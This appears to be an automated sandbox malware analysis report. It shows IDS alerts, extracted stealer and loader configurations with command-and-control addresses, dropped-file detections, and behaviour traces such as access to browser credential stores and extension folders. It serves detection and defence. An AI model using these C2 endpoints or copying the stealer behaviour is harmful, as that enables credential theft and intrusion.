2024-12-02T11:21:51.556434+0100	2049836	1	A Network Trojan was detected	192.168.11.20	49772	172.67.165.166	443	TCP
2024-12-02T11:22:03.885485+0100	2049836	1	A Network Trojan was detected	192.168.11.20	49782	172.67.165.166	443	TCP

ET MALWARE Lumma Stealer Related Activity M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-02T11:21:56.010166+0100	2049812	1	A Network Trojan was detected	192.168.11.20	49775	172.67.165.166	443	TCP
2024-12-02T11:22:07.001450+0100	2049812	1	A Network Trojan was detected	192.168.11.20	49787	172.67.165.166	443	TCP

ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-02T11:22:22.118566+0100	2019714	2	Potentially Bad Traffic	192.168.11.20	49876	185.215.113.16	80	TCP
2024-12-02T11:22:34.681188+0100	2019714	2	Potentially Bad Traffic	192.168.11.20	49903	185.215.113.16	80	TCP

ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-02T11:21:14.497614+0100	2044696	1	A Network Trojan was detected	192.168.11.20	49754	185.215.113.43	80	TCP
2024-12-02T11:21:19.360985+0100	2044696	1	A Network Trojan was detected	192.168.11.20	49758	185.215.113.43	80	TCP
2024-12-02T11:21:24.119729+0100	2044696	1	A Network Trojan was detected	192.168.11.20	49762	185.215.113.43	80	TCP
2024-12-02T11:21:31.277140+0100	2044696	1	A Network Trojan was detected	192.168.11.20	49764	185.215.113.43	80	TCP
2024-12-02T11:21:42.165367+0100	2044696	1	A Network Trojan was detected	192.168.11.20	49768	185.215.113.43	80	TCP
2024-12-02T11:21:49.707769+0100	2044696	1	A Network Trojan was detected	192.168.11.20	49773	185.215.113.43	80	TCP
2024-12-02T11:21:56.895630+0100	2044696	1	A Network Trojan was detected	192.168.11.20	49777	185.215.113.43	80	TCP
2024-12-02T11:22:03.364448+0100	2044696	1	A Network Trojan was detected	192.168.11.20	49784	185.215.113.43	80	TCP
2024-12-02T11:22:09.942001+0100	2044696	1	A Network Trojan was detected	192.168.11.20	49831	185.215.113.43	80	TCP

ET MALWARE Win32/Cryptbotv2 CnC Activity (POST) M4

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-02T11:22:00.123064+0100	2054350	1	A Network Trojan was detected	192.168.11.20	49780	34.159.64.221	80	TCP
2024-12-02T11:22:02.547013+0100	2054350	1	A Network Trojan was detected	192.168.11.20	49783	34.159.64.221	80	TCP
2024-12-02T11:22:09.868381+0100	2054350	1	A Network Trojan was detected	192.168.11.20	49829	34.159.64.221	80	TCP

ET MALWARE Win32/Stealc Active C2 Responding with browsers Config

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-02T11:20:05.139080+0100	2044245	1	Malware Command and Control Activity Detected	185.215.113.206	80	192.168.11.20	49718	TCP

ET MALWARE Win32/Stealc Requesting browsers Config from C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-02T11:20:04.815605+0100	2044244	1	Malware Command and Control Activity Detected	192.168.11.20	49718	185.215.113.206	80	TCP

ET MALWARE Win32/Stealc Requesting plugins Config from C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-02T11:20:05.142133+0100	2044246	1	Malware Command and Control Activity Detected	192.168.11.20	49718	185.215.113.206	80	TCP

ET MALWARE Win32/Stealc Submitting System Information to C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-02T11:20:06.360653+0100	2044248	1	Malware Command and Control Activity Detected	192.168.11.20	49718	185.215.113.206	80	TCP

ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-02T11:20:05.467528+0100	2044247	1	Malware Command and Control Activity Detected	185.215.113.206	80	192.168.11.20	49718	TCP

ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-02T11:21:59.411960+0100	2048094	1	Malware Command and Control Activity Detected	192.168.11.20	49778	172.67.165.166	443	TCP
2024-12-02T11:22:32.778129+0100	2048094	1	Malware Command and Control Activity Detected	192.168.11.20	49889	172.67.165.166	443	TCP

ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-02T11:20:04.490553+0100	2044243	1	Malware Command and Control Activity Detected	192.168.11.20	49718	185.215.113.206	80	TCP
2024-12-02T11:21:55.737951+0100	2044243	1	Malware Command and Control Activity Detected	192.168.11.20	49776	185.215.113.206	80	TCP
2024-12-02T11:22:09.985369+0100	2044243	1	Malware Command and Control Activity Detected	192.168.11.20	49830	185.215.113.206	80	TCP

ETPRO MALWARE Amadey CnC Activity M3

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-02T11:21:04.944831+0100	2856147	1	A Network Trojan was detected	192.168.11.20	49751	185.215.113.43	80	TCP
2024-12-02T11:26:20.556570+0100	2856147	1	A Network Trojan was detected	192.168.11.20	50136	185.215.113.43	80	TCP

ETPRO MALWARE Amadey CnC Response M1

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-02T11:21:14.170508+0100	2856122	1	A Network Trojan was detected	185.215.113.43	80	192.168.11.20	49752	TCP

ETPRO MALWARE Common Downloader Header Pattern H

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-02T11:21:07.796846+0100	2803305	3	Unknown Traffic	192.168.11.20	49753	31.41.244.11	80	TCP
2024-12-02T11:21:15.166781+0100	2803305	3	Unknown Traffic	192.168.11.20	49755	31.41.244.11	80	TCP
2024-12-02T11:21:20.001361+0100	2803305	3	Unknown Traffic	192.168.11.20	49760	31.41.244.11	80	TCP
2024-12-02T11:21:24.759056+0100	2803305	3	Unknown Traffic	192.168.11.20	49763	31.41.244.11	80	TCP
2024-12-02T11:21:31.921910+0100	2803305	3	Unknown Traffic	192.168.11.20	49765	31.41.244.11	80	TCP
2024-12-02T11:21:42.812728+0100	2803305	3	Unknown Traffic	192.168.11.20	49769	185.215.113.16	80	TCP
2024-12-02T11:21:50.353691+0100	2803305	3	Unknown Traffic	192.168.11.20	49774	185.215.113.16	80	TCP
2024-12-02T11:21:57.542870+0100	2803305	3	Unknown Traffic	192.168.11.20	49779	185.215.113.16	80	TCP
2024-12-02T11:22:04.012941+0100	2803305	3	Unknown Traffic	192.168.11.20	49785	185.215.113.16	80	TCP

ETPRO MALWARE Common Downloader Header Pattern HCa

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-02T11:20:06.804907+0100	2803304	3	Unknown Traffic	192.168.11.20	49718	185.215.113.206	80	TCP
2024-12-02T11:20:34.740829+0100	2803304	3	Unknown Traffic	192.168.11.20	49748	185.215.113.206	80	TCP
2024-12-02T11:20:37.429459+0100	2803304	3	Unknown Traffic	192.168.11.20	49748	185.215.113.206	80	TCP
2024-12-02T11:20:39.494553+0100	2803304	3	Unknown Traffic	192.168.11.20	49748	185.215.113.206	80	TCP
2024-12-02T11:20:40.609061+0100	2803304	3	Unknown Traffic	192.168.11.20	49748	185.215.113.206	80	TCP
2024-12-02T11:20:45.695264+0100	2803304	3	Unknown Traffic	192.168.11.20	49748	185.215.113.206	80	TCP
2024-12-02T11:20:46.751195+0100	2803304	3	Unknown Traffic	192.168.11.20	49748	185.215.113.206	80	TCP
2024-12-02T11:20:50.579080+0100	2803304	3	Unknown Traffic	192.168.11.20	49749	185.215.113.16	80	TCP

ETPRO MALWARE Common Downloader Header Pattern UH

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-02T11:24:45.900642+0100	2803274	2	Potentially Bad Traffic	192.168.11.20	50082	188.119.66.185	443	TCP
2024-12-02T11:25:47.326677+0100	2803274	2	Potentially Bad Traffic	192.168.11.20	50113	188.119.66.185	443	TCP
2024-12-02T11:26:48.742105+0100	2803274	2	Potentially Bad Traffic	192.168.11.20	50150	188.119.66.185	443	TCP
2024-12-02T11:27:50.178231+0100	2803274	2	Potentially Bad Traffic	192.168.11.20	50180	188.119.66.185	443	TCP
2024-12-02T11:28:51.611602+0100	2803274	2	Potentially Bad Traffic	192.168.11.20	50210	188.119.66.185	443	TCP

ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screen.) M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-02T11:22:18.307950+0100	2843864	1	A Network Trojan was detected	192.168.11.20	49838	172.67.165.166	443	TCP
2024-12-02T11:22:32.778129+0100	2843864	1	A Network Trojan was detected	192.168.11.20	49889	172.67.165.166	443	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: file.exe

Avira: detected

Antivirus detection for dropped file

Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\46BKFKIN\random[1].exe

Avira: detection malicious, Label: TR/Crypt.TPM.Gen

Found malware configuration

Source: 00000000.00000002.1811763144.0000000000CCE000.00000004.00000020.00020000.00000000.sdmp	Malware Configuration Extractor: StealC {"C2 url": "http://185.215.113.206/c4becf79229cb002.php"}
Source: 00000014.00000002.1847372452.0000000000841000.00000040.00000001.01000000.0000000A.sdmp	Malware Configuration Extractor: Amadey {"C2 url": "185.215.113.43/Zu7JuNko/index.php", "Version": "4.42", "Install Folder": "abc3bc1985", "Install File": "skotes.exe"}
Source: 51.3.bc330fc673.exe.4ef0000.0.raw.unpack	Malware Configuration Extractor: Nymaim {"C2 addresses": ["92.63.197.221", "92.63.197.221", "92.63.197.221", "92.63.197.221"]}
Source: 5467ed4ac5.exe.7964.53.memstrmin	Malware Configuration Extractor: LummaC {"C2 url": "https://atten-supporse.biz/api", "Build Version": "LOGS11--LiveTraffi"}
Source: c8297318cd.exe.1912.52.memstrmin	Malware Configuration Extractor: Cryptbot {"C2 list": ["home.fvtekx5pt.top"]}

Multi AV Scanner detection for dropped file

Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\46BKFKIN\random[1].exe	ReversingLabs: Detection: 39%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\46BKFKIN\tpZOod0[1].exe	ReversingLabs: Detection: 28%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\7LE4YNMI\HRFuUub[1].exe	ReversingLabs: Detection: 28%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\7LE4YNMI\random[1].exe	ReversingLabs: Detection: 39%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\B0ZBZFKQ\random[1].exe	ReversingLabs: Detection: 23%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\L2D128LW\gU8ND0g[1].exe	ReversingLabs: Detection: 83%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\L2D128LW\random[1].exe	ReversingLabs: Detection: 39%
Source: C:\Users\user\AppData\Local\Temp\1010433001\gU8ND0g.exe	ReversingLabs: Detection: 83%
Source: C:\Users\user\AppData\Local\Temp\1011118001\HRFuUub.exe	ReversingLabs: Detection: 28%
Source: C:\Users\user\AppData\Local\Temp\1011233001\tpZOod0.exe	ReversingLabs: Detection: 28%
Source: C:\Users\user\AppData\Local\Temp\1011267001\bc330fc673.exe	ReversingLabs: Detection: 23%
Source: C:\Users\user\AppData\Local\Temp\1011268001\c8297318cd.exe	ReversingLabs: Detection: 39%
Source: C:\Users\user\AppData\Local\Temp\1011269001\5467ed4ac5.exe	ReversingLabs: Detection: 39%
Source: C:\Users\user\AppData\Local\Temp\1011270001\e6f3e13d62.exe	ReversingLabs: Detection: 39%
Source: C:\Users\user\AppData\Roaming\MicrosoftEdgeUpdateTaskMachineCoreSC.exe	ReversingLabs: Detection: 83%
Source: C:\Users\user\AppData\Roaming\gdi32.dll	ReversingLabs: Detection: 58%

Multi AV Scanner detection for submitted file

Source: file.exe

ReversingLabs: Detection: 39%

Machine Learning detection for dropped file

Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\46BKFKIN\tpZOod0[1].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\7LE4YNMI\HRFuUub[1].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\46BKFKIN\random[1].exe	Joe Sandbox ML: detected

Machine Learning detection for sample

Source: file.exe

Joe Sandbox ML: detected

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6BA8A9A0 PK11SDR_Decrypt,PORT_NewArena_Util,SEC_QuickDERDecodeItem_Util,PORT_FreeArena_Util,SECITEM_ZfreeItem_Util,PK11_GetInternalKeySlot,PK11_Authenticate,PORT_FreeArena_Util,PK11_ListFixedKeysInSlot,SECITEM_ZfreeItem_Util,PK11_FreeSymKey,PK11_FreeSymKey,PORT_FreeArena_Util,PK11_FreeSymKey,SECITEM_ZfreeItem_Util,	0_2_6BA8A9A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6BA843B0 PK11_PubEncryptPKCS1,PR_SetError,	0_2_6BA843B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6BAB0180 SECMIME_DecryptionAllowed,SECOID_GetAlgorithmTag_Util,	0_2_6BAB0180
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6BAAA730 SEC_PKCS12AddCertAndKey,PORT_ArenaMark_Util,PORT_ArenaMark_Util,PK11_FindKeyByAnyCert,SECKEY_DestroyPrivateKey,PORT_ArenaAlloc_Util,PR_SetError,PR_SetError,PK11_GetInternalKeySlot,PK11_FindKeyByAnyCert,SECKEY_DestroyPrivateKey,PORT_ArenaAlloc_Util,SECKEY_DestroyEncryptedPrivateKeyInfo,strlen,PR_SetError,PORT_FreeArena_Util,PORT_FreeArena_Util,PORT_ArenaAlloc_Util,PR_SetError,	0_2_6BAAA730
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6BA44770 CryptSetProviderExA,SECOID_FindOID_Util,	0_2_6BA44770
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6BA6E6E0 PK11_AEADOp,LsaCreateTrustedDomain,TlsGetValue,EnterCriticalSection,PORT_Alloc_Util,PK11_Encrypt,PORT_Alloc_Util,memcpy,memcpy,PR_SetError,PR_SetError,PR_Unlock,PR_SetError,PR_Unlock,PK11_Decrypt,PR_GetCurrentThread,PK11_Decrypt,PK11_Encrypt,memcpy,memcpy,PR_SetError,free,	0_2_6BA6E6E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6BA68670 PK11_ExportEncryptedPrivKeyInfo,	0_2_6BA68670
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6BA8A650 PK11SDR_Encrypt,PORT_NewArena_Util,PK11_GetInternalKeySlot,PK11_Authenticate,SECITEM_ZfreeItem_Util,TlsGetValue,EnterCriticalSection,PR_Unlock,PK11_CreateContextBySymKey,PK11_GetBlockSize,PORT_Alloc_Util,memcpy,SECITEM_ZfreeItem_Util,PORT_FreeArena_Util,SECITEM_ZfreeItem_Util,PK11_FreeSymKey,PORT_ArenaAlloc_Util,PK11_CipherOp,SEC_ASN1EncodeItem_Util,SECITEM_ZfreeItem_Util,PORT_FreeArena_Util,PK11_DestroyContext,	0_2_6BA8A650
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6BAD25B0 PK11_Encrypt,memcpy,PR_SetError,PK11_Encrypt,	0_2_6BAD25B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6BA844C0 PK11_PubEncrypt,	0_2_6BA844C0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6BA54420 SECKEY_DestroyEncryptedPrivateKeyInfo,memset,PORT_FreeArena_Util,SECITEM_ZfreeItem_Util,SECITEM_ZfreeItem_Util,SECITEM_ZfreeItem_Util,free,	0_2_6BA54420
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6BA84440 PK11_PrivDecrypt,	0_2_6BA84440
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6BAADA40 SEC_PKCS7ContentIsEncrypted,	0_2_6BAADA40
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6BA89840 NSS_Get_SECKEY_EncryptedPrivateKeyInfoTemplate,	0_2_6BA89840
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6BA83850 PK11_Encrypt,TlsGetValue,EnterCriticalSection,SEC_PKCS12SetPreferredCipher,PR_Unlock,TlsGetValue,EnterCriticalSection,PR_Unlock,TlsGetValue,EnterCriticalSection,PR_Unlock,PR_Unlock,TlsGetValue,EnterCriticalSection,PR_Unlock,PR_SetError,	0_2_6BA83850
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6BA83FF0 PK11_PrivDecryptPKCS1,	0_2_6BA83FF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6BAA9EC0 SEC_PKCS12CreateUnencryptedSafe,PORT_ArenaMark_Util,PORT_ArenaAlloc_Util,PR_SetError,PR_SetError,SEC_PKCS7DestroyContentInfo,	0_2_6BAA9EC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6BAABD30 SEC_PKCS12IsEncryptionAllowed,NSS_GetAlgorithmPolicy,NSS_GetAlgorithmPolicy,NSS_GetAlgorithmPolicy,NSS_GetAlgorithmPolicy,NSS_GetAlgorithmPolicy,NSS_GetAlgorithmPolicy,NSS_GetAlgorithmPolicy,NSS_GetAlgorithmPolicy,NSS_GetAlgorithmPolicy,	0_2_6BAABD30
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6BA67D60 PK11_ImportEncryptedPrivateKeyInfoAndReturnKey,SECOID_FindOID_Util,SECOID_FindOIDByTag_Util,PK11_PBEKeyGen,PK11_GetPadMechanism,PK11_UnwrapPrivKey,PK11_FreeSymKey,SECITEM_ZfreeItem_Util,PK11_PBEKeyGen,SECITEM_ZfreeItem_Util,PK11_FreeSymKey,PK11_ImportPublicKey,SECKEY_DestroyPublicKey,	0_2_6BA67D60
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6BAA7C00 SEC_PKCS12DecoderImportBags,PR_SetError,NSS_OptionGet,CERT_DestroyCertificate,SECITEM_ZfreeItem_Util,PR_SetError,SECKEY_DestroyPublicKey,SECITEM_ZfreeItem_Util,PR_SetError,SECKEY_DestroyPublicKey,SECITEM_ZfreeItem_Util,PR_SetError,SECOID_FindOID_Util,SECITEM_ZfreeItem_Util,SECKEY_DestroyPublicKey,SECOID_GetAlgorithmTag_Util,SECITEM_CopyItem_Util,PK11_ImportEncryptedPrivateKeyInfoAndReturnKey,SECITEM_ZfreeItem_Util,SECKEY_DestroyPublicKey,PK11_ImportPublicKey,SECOID_FindOID_Util,	0_2_6BAA7C00

Source: c8297318cd.exe, 00000034.00000003.2256723233.0000000007EEE000.00000004.00001000.00020000.00000000.sdmp

Binary or memory string: -----BEGIN PUBLIC KEY-----

memstr_c13655f6-3

Source: https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=5467ed4ac5.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0	HTTP Parser: No favicon
Source: https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=5467ed4ac5.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0	HTTP Parser: No favicon
Source: https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=5467ed4ac5.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0	HTTP Parser: No favicon

Bitcoin Miner

DNS related to crypt mining pools

Source: unknown

DNS query: name: xmr-eu2.nanopool.org

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown	HTTPS traffic detected: 40.126.62.130:443 -> 192.168.11.20:49742 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.165.166:443 -> 192.168.11.20:49772 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.165.166:443 -> 192.168.11.20:49775 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.165.166:443 -> 192.168.11.20:49778 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.165.166:443 -> 192.168.11.20:49781 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.165.166:443 -> 192.168.11.20:49782 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.165.166:443 -> 192.168.11.20:49786 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.165.166:443 -> 192.168.11.20:49787 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.11.20:49801 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.11.20:49819 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.11.20:49821 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.11.20:49820 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.165.166:443 -> 192.168.11.20:49832 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.165.166:443 -> 192.168.11.20:49838 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.165.166:443 -> 192.168.11.20:49842 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.165.166:443 -> 192.168.11.20:49844 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.165.166:443 -> 192.168.11.20:49846 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.165.166:443 -> 192.168.11.20:49854 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.11.20:49855 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.11.20:49880 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.11.20:49878 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.11.20:49879 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.165.166:443 -> 192.168.11.20:49882 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.165.166:443 -> 192.168.11.20:49885 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.165.166:443 -> 192.168.11.20:49889 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.165.166:443 -> 192.168.11.20:49892 version: TLS 1.2

Source:	Binary string: mozglue.pdbP source: file.exe, 00000000.00000002.1827295074.000000006EBFD000.00000002.00000001.01000000.00000009.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr
Source:	Binary string: C:\b\s\w\ir\cache\builder\src\out\Release_x64\initialexe\chrome.exe.pdb source: explorer.exe, 00000024.00000003.2815481788.0000000016273000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000024.00000003.2588011097.0000000016271000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000024.00000003.2848946002.0000000016274000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\AppData\Local\Temp\1011118001\HRFuUub.PDB*P!w source: HRFuUub.exe, 00000028.00000002.2058553646.00000000010FB000.00000004.00000010.00020000.00000000.sdmp
Source:	Binary string: nss3.pdb@ source: file.exe, 00000000.00000002.1826849359.000000006BB5F000.00000002.00000001.01000000.00000008.sdmp
Source:	Binary string: Autoruns.pdb source: explorer.exe, 00000024.00000003.1998881016.00000000005A1000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: Autoruns64a.pdb source: explorer.exe, 00000024.00000003.1998881016.00000000005A1000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: mscorlib.pdb source: WERE345.tmp.dmp.50.dr
Source:	Binary string: f:\Project\RtkBtMnt_1009\RtkBtMnt_1009\RtkBtMnt\x64\release\RtBtMn64.pdb source: explorer.exe, 00000024.00000003.2007743138.0000000004372000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: Autoruns64.pdb source: explorer.exe, 00000024.00000003.1998881016.00000000005A1000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: autorunsc.pdb source: explorer.exe, 00000024.00000003.1998881016.00000000005A1000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: R:\JoeSecurity\trunk\src\windows\usermode\tools\FakeChrome\Release\Chrome.pdb source: explorer.exe, 00000024.00000003.2023358155.00000000053F3000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000024.00000003.2055852821.0000000005430000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\AppData\Local\Temp\1011233001\tpZOod0.PDB*P!w<' source: tpZOod0.exe, 0000002E.00000002.2092266675.0000000000CFB000.00000004.00000010.00020000.00000000.sdmp
Source:	Binary string: mscorlib.ni.pdb source: WERE345.tmp.dmp.50.dr
Source:	Binary string: mscorlib.ni.pdbRSDS] source: WERE345.tmp.dmp.50.dr
Source:	Binary string: nss3.pdb source: file.exe, 00000000.00000002.1826849359.000000006BB5F000.00000002.00000001.01000000.00000008.sdmp
Source:	Binary string: autorunsc64.pdb source: explorer.exe, 00000024.00000003.1998881016.00000000005A1000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: E:\defOff\defOff\defOff\obj\Release\defOff.pdb source: 5467ed4ac5.exe, 00000035.00000003.2755334790.00000000081C0000.00000004.00001000.00020000.00000000.sdmp, 5467ed4ac5.exe, 00000035.00000002.2808970641.00000000060B2000.00000040.00000800.00020000.00000000.sdmp
Source:	Binary string: mozglue.pdb source: file.exe, 00000000.00000002.1827295074.000000006EBFD000.00000002.00000001.01000000.00000009.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr
Source:	Binary string: e:\proj_20160906_cpl_sessiondetect\20160906_chunyung_setforgroundwindow\_ma4_release\x64\RAVCpl64.pdb source: explorer.exe, 00000024.00000003.2007743138.0000000004372000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: firefox.pdb source: explorer.exe, 00000024.00000003.2519158244.00000000043CB000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Users\user\AppData\Local\Temp\1011233001\tpZOod0.PDB source: tpZOod0.exe, 0000002E.00000002.2092920415.0000000000F42000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Users\user\AppData\Local\Temp\1011118001\HRFuUub.PDB9 source: HRFuUub.exe, 00000028.00000002.2058759987.0000000001274000.00000004.00000020.00020000.00000000.sdmp

Source: C:\Users\user\AppData\Local\Temp\1011118001\HRFuUub.exe

Code function: 40_2_6C25B362 FindFirstFileExW,

40_2_6C25B362

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg\	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\1011118001\HRFuUub.exe

Code function: 4x nop then mov dword ptr [ebp-20h], 00000000h

40_2_017BDC48

Source: chrome.exe

Memory has grown: Private usage: 6MB later: 35MB

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.11.20:49718 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044244 - Severity 1 - ET MALWARE Win32/Stealc Requesting browsers Config from C2 : 192.168.11.20:49718 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044245 - Severity 1 - ET MALWARE Win32/Stealc Active C2 Responding with browsers Config : 185.215.113.206:80 -> 192.168.11.20:49718
Source: Network traffic	Suricata IDS: 2044246 - Severity 1 - ET MALWARE Win32/Stealc Requesting plugins Config from C2 : 192.168.11.20:49718 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044247 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config : 185.215.113.206:80 -> 192.168.11.20:49718
Source: Network traffic	Suricata IDS: 2044248 - Severity 1 - ET MALWARE Win32/Stealc Submitting System Information to C2 : 192.168.11.20:49718 -> 185.215.113.206:80
